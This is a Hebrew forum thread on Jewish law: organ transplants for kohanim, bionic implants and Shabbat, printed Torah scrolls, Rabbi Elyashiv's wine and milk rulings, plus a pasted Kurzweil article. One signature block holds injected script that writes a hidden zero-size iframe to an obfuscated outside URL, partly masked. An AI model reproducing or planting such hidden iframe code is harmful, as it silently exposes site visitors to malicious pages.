|
|
| נשלח ב-16/7/2014 10:11 |
 |
| |
ואני מוסיף שיקול נוסף שלא ראיתי שמוזכר עד היום.
מה יהיה הדין ואיך ההסתכלות הראויה (או האפשרויות השונות) לדון לגבי שתל מלאכותי?
אזכיר שיש נידון מעניין שאמנם לא חושבים עליו ממבט ראשון לגבי השתלת אבר.
נניח שמשתילים לאדם אבר מלאכותי שנלקח ממת. האם אבר זה מקבל טומאה? האם יהיה מותר להשתילו לכהן?
איני יודע אם הרפואה התקדמה עד שניתן להשתיל אבר חיצוני, אבל אם כן, האם יהיה הבדל בין השתלת, נניח, כבד או ראה או לב לבין השתלת אצבע (לעומת זאת עור יהיה נושא אחר).
אם נקבל את הטענה שלאחר ההשתלה האבר החדש הופך להיות חלק מהגוף (וזה לא פשוט כלל: צריך בדרך כלל תרופות שידכאו את המערכת החיסונית שרואה באבר גוף זר - הגוף מעיד שעבורו האבר החדש אינו רצוי, לפחות בחלק מן המנגנונים הפועלים מאליהם, להבדיל מאותו תחום שבו יש לנו החלטות מודעות ויכולת בחירה). אם כן, זה מביא לידי התוצאה הפרדוקסלית שאבר שנחתך כדי לשמש להשתלה מטמא - עד שיושתל (או שייקלט, ואיני יודע איך זה נמדד, אבל גם זה נידון).
מצד המטא הלכה, ברור שיש להתיר ולמצוא היתר להשתיל אבר גם לכהן, אבל צריך מנגנון פרשני לשם כך.
***
כל מה שכתבתי לעיל הוא הקדמה לרעיון הבא: היו כאלו שהשתילו רכיבים ביוניים בתוך גופם. אלו מקרים יוצאי דופן, אבל יתכן שהם יהפכו למשהו יותר סטנדרטי. באיזה שלב נתחיל לדון אותם כחלק מגוף האדם? ואם כן, כפי שאין אדם חייב על הנעת ידו בגלל שיש זרמים חשמליים זעירים שגורמים לכך, כי כל מה שבתוך האדם עצמו אינו בדין מלאכות שבת, אולי גם כך לגבי שתלים ותוספות?
ואם כן, האם יהיה הבדל (יש בתחושה, אבל אולי התחושה שלנו בזמן הזה מטעה כי התרבות והטכנולוגיה ישתנו?) בין שתל פנימי לרכיב חיצוני.
אפשר להביא דוגמא לעיון מדיונים על מכשירי שמיעה. כמדומה שהדיון היה בעבר על מכשירים חיצוניים. האם היום שיש מכשירים פנימיים זה אחרת?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
| נשלח ב-16/7/2014 10:31 |
|
| |
אולי כדאי להסתכל מזווית אחרת. צורת כתיבת התורה נקבעה בזמן מתן תורה, אז כתבו בכתב יד, על מגילות כי ספרים כרוכים הם המצאה מאוחרת יותר.
אם אנחנו מניחים שחשמל אסור בשבת כי הוא כלול בהבערה או במה שלא יהיה, מדוע לא נאמר שכתיבה שלנו, דפוס, כלולה בכתיבה שנדרשת מסיני?
|
|
|
|
| נשלח ב-16/7/2014 10:56 |
|
| |
| פתיאמי כתב: |  | הדיון שרציתי להעלות, האם שייך לומר סברות בתקנות חז"ל.
למשל, הגרי"ש אלישיב חידש, שבימנו, שרוב היין עובר פיסטור (עובדה לא נכונה), אם כן חוזר וניעור הגזירה של סתם יינם על יין מבושל. כי כל הסיבה שיין מבושל אינו בכלל הגזירה - משום דהוא מילתא דלא שכיחא.
עכשיו, ראינו שאפשר לומר סברות בגזירות חכמים. אך האם נמצא גם סברות לקולא?
בינתיים הסברא היחידה שמצאתי לקולא היא סברת החזו"א (שבאופן כללי לא אומר סברות בחז"ל) בדין מורידין ולא מעלין, שבימנו שאין התוצאה מתקבלת - לא נהרוג אותם. באמת תודה רבה! |
|
אז מדוע מותר לשתות וויסקי?
|
|
|
|
|
| נשלח ב-16/7/2014 13:26 |
|
| |
צעג
איקון ירוק
וכולם
אשכול קרוב (שהקפצתי לאחרונה גם לשם הנושא הזה וגם בגלל ההמצאה של רובוט כותב ספרי תורה)
"וכתבתם - איך כותבים ספר תורה".
שם הזכיר אחד הכותבים שבימי הדפוס הראשונים היו שרצו להכשיר הדפסה של ספר (וכמובן שם העבודה היתה הרבה יותר ידנית. יש לשים לב להיסטוריה של התפתחות הדפוס!). ומסתבר שזה בגלל הסברה שנאמרה כאן.
אמנם את דברי צעג אפשר להבין בשתי רמות.
א. עבודת הדפוס (או כל צורת כתיבה אחרת) מוגדרת על פי מאפיינים מסויימים, והם חלים גם על ההמצאה החדשה: הדפסת משי (באשכול ההוא), רובוט (כנ"ל), דפוס בראשיתו, הפטנט של פתיאמי בכוח המחשבה.
ב. ההדפסה החדשה (לכל צורותיה) אין לה את כל המאפיינים הקלאסיים - אבל לא צריך אותם, בגלל שכל מה שנקרא "כתיבה" הוא כשר.
ושוב, יש כאן מקום עיון על פי סוגיות שונות, ומהן הסוגיה האם שמות (מילים) מעידים על תוכן משותף או שונה (כך לגבי כלאים וכך אולי בעוד מקומות - וגם כאן).
___תוקן כדי להוסיף איקון ירוק לצעג...______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 16/07/2014 13:26:27
|
|
|
|
|
| נשלח ב-16/7/2014 13:30 |
|
| |
בעל בעמיו
שאלתך חשובה: אם מפרשים מחדש את תקנת יין האסור בהתחשב בשינוי הסוציולוגי (תרבותי, צרכני), אז ניתן להרחיב אותו מעבר להתייחסות ליין אל כל משקה משכר.
זה למעשה נידון אחר משל האשכול הזה ולכן לא הייתי רוצה לעסוק בו. אם יש אשכול קיים, מה טוב, ואם לא אפשר בחדש.
הנושא לדעתי הוא: פרשנות של תקנות וגזרות. האם הולכים בצמידות למקור מבחינה פורמלית, ולכן רק יין ומה שנקרא "יין" בכלל. עם התיקונים הנחוצים לפי השתנות השימוש ביין כדברי הרב אלישיב וכשיטתו, אם כי אפשר לחלוק על פרשנות זו. או שהולכים אחרי הטעם, זיל בתר טעמא כלשון הגמרא, ומוסיפים לרשימה גם ויסקי.
יש לשים לב שבדיני הבדלה וקידוש הויסקי ייחשב לחמר מדינה.
אמנם יש גם לזכור שגם בימי חז"ל היו משקאות נוספים ולא כולם נאסרו למרות שהיה אפשר לטעון שראוי לאסור (איני זוכר אם היה דיון על זה בגמרא ואם ההלכה שבידנו היא קולא לעומת החמרות שם).
הנידון שלך מתאים גם לאשכול על גישתו להלכה של הרב אלישיב, וכמדומה שהיה כזה, (עם הפניה למאמר של ריינר, מרתק) כי הוא מדגים את גישתו. וראוי ללנקק בכל המקומות עם שם האשכול כי הלינק עצמו נושא תג פג תוקף עם שינוי הפורמט של לינק באכסניה שלנו.
|
|
|
|
|
| נשלח ב-16/7/2014 13:41 |
|
| |
ולמפקפקים בטכנולוגיה:
ריי קורצווייל: ב2030 המוח שלנו יהיה מחובר לענן בהרצאה במכללת אפקה, אמר מנהל הפיתוח של חברת גוגל והעתידן המרכזי במאה ה-21 ריי קורצווייל, כי "בעתיד מחשבים ובני אדם יהיו מחוברים למערכת אחת" העתידן הטכנולוגי והממציא הדגול, ריי קורצווייל, שנחשב לעתידן ולממציא הגדול של דורנו, השתתף היום בכנס הבינלאומי השנתי בנושא טכנולוגיות עיבוד דיבור שנערך במרכז לעיבוד שפה במכללת אפקה להנדסה בתל אביב. קורצווייל שמשמש מנהל הפיתוח של חברת גוגל ואחראי על הפעילות בתחום עיבוד שפה ואינטליגנציה מלאכותית, העביר את דבריו בהרצאת וידאו מיוחדת בשידור חי ממקום מושבו בעמק הסיליקון בארה"ב.  ריי קורצווייל getty images בראשית דבריו התייחס קורצווייל למהפכת ההדפסה התלת ממדית של השנים האחרונות ולהשפעתה על הכלכלה העולמית. "אנו במרחק של חמש שנים מ-"תור הזהב" של מדפסות התלת מימד, בעוד חמש שנים מהיום נוכל להדפיס ברזולוציה של מיקרונים. נוכל להוריד קובץ הדפסה תלת מימד של פריט לבוש ולהדפיס אותו. המודלים העסקיים ישתנו משמעותית, החברות יהיו חייבות להתאים את עצמן לכלכלה החדשה. ניתן לקחת לדוגמא את השינוי ברכישות של מוזיקה, ספרים וכד', אנשים נכנסים לחנויות ברשת ורוכשים דיסקים בדולרים מעטים, אך עדיין ישנן עשרות אלפי רכישות של הגרסא המודפסת של הארי פוטר. הכלכלה החדשה תהיה מורכבת משילוב בין מודלים עסקיים שונים". ביחס להתקדמות הטכנולוגית בפיתוח מחשבים ורובוטים חזה קורצווייל בהרצאה: "כבר היום מחשבים חכמים יותר מבני אדם. הבעיה מתחילה כשמדברים על רגשות. אלה נמצאים בשכבות הגבוהות והמסובכות ביותר בהיררכיה. להבין ולצחוק מבדיחה, להיות מצחיק, להיות רומנטי, כל אלה נמצאים אמנם גבוה בהיררכיה אך אני מאמין שאנו עוד נגיע לשם ומחשבים יידעו גם לעשות שימוש ברגשות". ביחס לתחזית לעתיד הרחוק יותר אמר קורצווייל לקהל כי "ב-2030 נהיה כולנו ישות בענן (Cloud). אנו עתידים להעלות את הניאו-קורטקס שלנו, שהוא החלק במוח שאחראי על רוב תהליך החשיבה, לענן. אם זה נשמע לכם עתידני, תחשבו על מוחות שמחוברים למחשבים כבר היום. כמו שניתן לחבר מאות מחשבים לענן ולממש באמצעותם יכולת מחשוב אדירות, כך נוכל בעתיד לחבר מספר רב של מוחות וניאו-קורטקס שונים וכך אולי נוכל להיות מצחיקים יותר, רומנטיים יותר וכו'".  המוח והמחשב יתחברו צילום המחשה: שאטרסטוק קורצווייל נשאל על ידי יו"ר הכנס, פרופ' עמי מויאל האם העובדה שכיום הטכנולוגיה הולכת ונשענת יותר ויותר על כלים חיצוניים תפגע בסופו של דבר ביכולות האנושיות שלנו כבני אדם ואולי אף תביא לאיום על המין האנושי. קורצווייל השיב כי "אני מאמין שהאדם והמכונה הם אחד. המכונות כבר כאן והן לא הולכות לשום מקום". קורצווייל, במקורו איש עיבוד דיבור, אמר כי השלב הבא בהתקדמות טכנולוגיות זיהוי דיבור הוא האפשרות להבין את משמעות המשפט ולא רק לזהות מילים. לדבריו כבר בעתיד הקרוב נוכל לזהות דרך הקול רגשות והאם הדובר כועס, עצוב או עצבני. לדבריו "כבר בעשור הקרוב אני מאמין שנוכל לגרום למחשבים להבין שפה טבעית ומשמעות ממש כמו בני אדם". יו"ר הכנס, פרופ' עמי מויאל אמר כי "תחום עיבוד הדיבור, על הטכנולוגיות השונות בו, חווה פריחה משמעותית בשנתיים האחרונות. זאת הן בתקשורת אדם מכונה, באפליקציות עוזר אישי דמויות סירי של אפל, והן בתחום החיפוש בתכני אודיו ומולטימדיה בשווקים שונים כמו אינטרנט, מרכזי שירות ומודיעין. הרצאתו של העתידן ריי קורצווייל הציגה בצורה הטובה ביותר הקשר הרחב בין עיבוד דיבור, עיבוד שפה ואינטליגנציה מלאכותית בעידן של התפתחות טכנולוגית מואצת תוך התייחסות להשפעה של כך על חיינו".
http://www.nrg.co.il/online/1/ART2/594/604.html?hp=1&cat=351
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-16/7/2014 14:12 |
|
| |
הרב מיימון לא נשאר לי אלא לחתום את חתימתך בנוסח אלקטרוני: שומר רעיונו - שומר מצרות נפשו מפחיד נשלח מהאנדרואיד שלי_________________
|
|
|
|
| נשלח ב-16/7/2014 14:16 |
|
| |
האם הפסק של הרב אלישיב אינו אוחז את החבל משני קצותיו?
|
|
|
|
| נשלח ב-16/7/2014 14:31 |
|
| |
הרב אלישיב היה מחמיר לעצמו להרתיח את החלב בבית בכל ערב שבת. (כי לא אחז שפיסטור הוא בישול) כדי שיוכל לערבב חלב בקפה בשבת (אחז שהחלב הוא מ"קלי הבישול" - חידוש בפני עצמו, על נוזלים) נשלח מהאנדרואיד שלי_________________
|
|
|
|
| נשלח ב-16/7/2014 15:27 |
|
| |
איך ייתכן שחלב הוא יותר קלי הבישול ממים? והרי מותר לתת מים בכלי ראשון.
|
|
|
|
| נשלח ב-17/7/2014 15:05 |
|
| |
הרב מימוני
בענין השתלת אבר של מת לכהן, ודאי שמותר איזו הו"א היתה לך שלא,
האם המת שהחיה אלישע בקברו או הנער או אליהו, לאחר שהנביא החיה אותם היתה להם טומאת מת?
אבר המת שהושתל- המושתל מחייה אותו והוא כבר לא אבר מת!
אבל עדיין אני מצפה לחסידי המדרון התלול- כבר מזמן קיימים קסדות לטייסים ומשקפיים שעל יד כח המחשבה והעיינים מפעילים כלים חשמליים וארטילאים וכ'
מה יהיה בסוף? עד מה שאני זוכר את ההלכה. עוברים במחשבה רק על ע"ז
|
|
|
|
| נשלח ב-17/7/2014 16:20 |
|
| |
לפני שנים שאלתי את ר' אברהם שפירא זצ"ל האם מותר לחתום על כרטיס אדי, וענה לי שפשיטא שכן, שתרומת אבר היא החייאת האיבר.
|
|
|
|
| נשלח ב-21/7/2014 18:56 |
|
| |
אגב הדברים איך הרהורים מותרים בשבת הלא כשאדם מהרהר נוצרים זרמים חשמליים במח ואסור ליצור זרם חשמלי.
|
|
|
|
| נשלח ב-21/7/2014 21:27 |
|
| |
מתענין
להרגיע אותך לא רק בהרהורים נוצרים זרמים חשמליים, כמעט בכל הפעלת השרירים פעולת הלב וכו' נוצרים זרמים חשמלים.
אבל אל תגלה לאף אחד. עוד יאסרו גם את זה. אתה יודע מה נדמה לי, שיש שכבר אסרו.
|
|
|
|
| נשלח ב-22/7/2014 00:17 |
|
| |
לגבי איסור הרהור בשבת, מחשש לבניית מעגל חשמלי:
יש דעות שאסור לאדם לחשוב כלל, גם ביום חול, ואם כך אין איסור חל על איסור
|
|
|
|
|
